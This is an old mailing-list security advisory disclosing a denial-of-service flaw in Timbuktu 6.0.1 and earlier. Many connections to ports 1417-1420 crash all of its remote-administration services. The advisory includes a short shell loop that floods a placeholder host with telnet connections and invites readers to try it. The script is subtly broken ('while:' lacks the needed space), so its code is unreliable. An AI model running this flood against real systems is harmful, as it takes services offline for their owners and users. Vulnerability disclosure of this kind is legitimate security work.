Timbuktu DoS vulnerabilty

From: Tekno pHReak (tekat_private)
Date: Sat Jan 19 2002 - 07:17:57 PST

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    Timbuktu 6.0.1 and Older DoS Advisory
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    Discovered by: Teknophreak of Malloc()
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    E-mail: Tekat_private
    
    
    
    "Timbuktu" is a remote administration suite that is 
    available for MacOS and Windows operating 
    systems. Timbuktu utilizes a range of ports between 
    (1417 - 1420). There exist a Denial of Service 
    vulnerability that will crash all timbuktu services
    running. 
    
    
    To exploit this all you must do is choose one of the 
    Timbuktu ports that are open and make a large 
    number of connections to it and if you keep a watch 
    you will see that all the Timbuktu ports available will 
    close one by one.
    
    If your admin doesn't mind try this against the 
    machine using timbuktu :
    
    #!/bin/sh
    
    while:
    do
    
    	telnet tb2.host.com 1417 &
    
    done
    
    
    This will cause the timbuktu services to die out. 
    
    
     
    



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